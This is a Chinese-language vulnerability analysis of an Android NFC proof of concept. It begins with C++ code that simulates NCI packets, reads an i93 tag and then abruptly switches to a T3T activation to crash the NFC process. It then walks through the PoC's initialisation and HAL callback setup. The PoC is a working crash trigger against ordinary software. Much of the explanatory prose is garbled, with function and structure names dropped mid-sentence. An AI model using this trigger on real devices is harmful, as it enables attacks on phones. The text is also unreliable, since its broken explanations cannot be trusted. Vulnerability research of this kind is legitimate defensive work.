init_core = {0x0,0xa, 0x3,0xca, 0xff, 0xff, 0xff,0xff, 0x2, 0xe0, 0xe0, 0xe0, 0xe0, 0xe0};g_callback_tracker->SimulatePacketArrival(NCI_MT_RSP, 0, NCI_GID_CORE,NCI_MSG_CORE_INIT, init_core.data(),init_core.size());g_callback_tracker->SimulateHALEvent(HAL_NFC_POST_INIT_CPLT_EVT,HAL_NFC_STATUS_OK);{std::unique_lock nfa_enable_lock(cv_mutex);nfa_enable_cv.wait(nfa_enable_lock);}std::vector discover_rf = {0x0};g_callback_tracker->SimulatePacketArrival(NCI_MT_RSP, 0, NCI_GID_RF_MANAGE, NCI_MSG_RF_DISCOVER, discover_rf.data(),discover_rf.size());{std::unique_lock rf_discovery_started_lock(cv_mutex);rf_discovery_started_cv.wait(rf_discovery_started_lock);}std::vector activate_rf = {/* disc_id */ 0x0,NFC_DISCOVERY_TYPE_POLL_V,static_cast(NFC_PROTOCOL_T5T)};for (int i = 0; i < 27; i++) {activate_rf.push_back(0x6);}g_callback_tracker->SimulatePacketArrival(NCI_MT_NTF, 0, NCI_GID_RF_MANAGE, NCI_MSG_RF_INTF_ACTIVATED,activate_rf.data(), activate_rf.size());{std::unique_lock activated_lock(cv_mutex);activated_cv.wait(activated_lock);}NFA_RwReadNDef();{std::unique_lock i93_detect_lock(cv_mutex);i93_detect_cv.wait(i93_detect_lock);}g_callback_tracker->SimulatePacketArrival(NCI_MT_NTF, 0, NCI_GID_CORE, NCI_MSG_CORE_RESET, reset_core.data(),reset_core.size());std::vector deactivate_rf = {NFA_DEACTIVATE_TYPE_DISCOVERY, 0x1};g_callback_tracker->SimulatePacketArrival(NCI_MT_NTF, 0, NCI_GID_RF_MANAGE, NCI_MSG_RF_DEACTIVATE,deactivate_rf.data(), deactivate_rf.size());{std::unique_lock deactivated_lock(cv_mutex);deactivated_cv.wait(deactivated_lock);}std::vector activate_another_rf = {/* disc_id */ 0x0, NFC_DISCOVERY_TYPE_LISTEN_F, NFC_PROTOCOL_T3T};for (int i = 0; i < 70; i++) {activate_another_rf.push_back(0x2);}g_callback_tracker->SimulatePacketArrival(NCI_MT_NTF, 0, NCI_GID_RF_MANAGE, NCI_MSG_RF_INTF_ACTIVATED,activate_another_rf.data(), activate_another_rf.size());{std::unique_lock t3t_get_system_codes_lock(cv_mutex);t3t_get_system_codes_cv.wait(t3t_get_system_codes_lock);}NFA_Disable(true);{std::unique_lock nfa_disable_lock(cv_mutex);nfa_disable_cv.wait(nfa_disable_lock);}}
poc思路大致步骤为,先让系统处于i93模式,发送读数据请求后迅速将系统从i93切换到t3t,系统程序出现崩溃 。
下文把poc拆成几个部分逐一分析 。
Part1
第一部分代码 :
CallbackTracker tracker;g_callback_tracker = &tracker;NfcAdaptation& theInstance = NfcAdaptation::GetInstance();theInstance.Initialize();NFA_Init(&entry_funcs);NFA_Enable(nfa_dm_callback, nfa_conn_callback);usleep(5000);
(&)用于初始化NFA的控制块 。控制块的作用类似中的PEB结构体 。
NFC允许用户在应用层注册NFC芯片硬件抽象层(HAL)的回调函数,poc中定义了一个回调函数表,通过中的函数将回调函数表注册到HAL层 。直到NFC被禁用前这个函数指针数组都不会被释放 。如下:
tHAL_NFC_ENTRY entry_funcs = {.open = FakeOpen,.close = FakeClose,.core_initialized = FakeCoreInitialized,.write = FakeWrite,.prediscover = FakePrediscover,.control_granted = FakeControlGranted,};
和在内核模块中给设备设置回调函数相似,相当于结构体 。
里用很多Fake开头的回调函数重载了默认函数,然后把他塞进这个类,这样做的好处是:
1.函数重载可以对系统默认的回调函数进行二次包装,实现Hook功能 。比如后面会看到,加入了线程同步的功能 。
2.只通过一个自定义的类实现所有函数的调用,让代码结构更加整洁 。
接着调用,他调用的几个关键函数是:
-> ->->->。
NFA(NFC For )是安卓系统中NFC的实现 。用来使能安卓NFC,调用它时NFCC必须已经上电,该函数启动了NFC关键的几个任务,打开了NCI的传输渠道,重置了NFC 控制器,初始化整个NFC系统,他是初始化最重要的函数,一般只在系统启动时调用一次,这里我们再次调用来生成一个独立于系统NFC的单独的NFC实验环境 。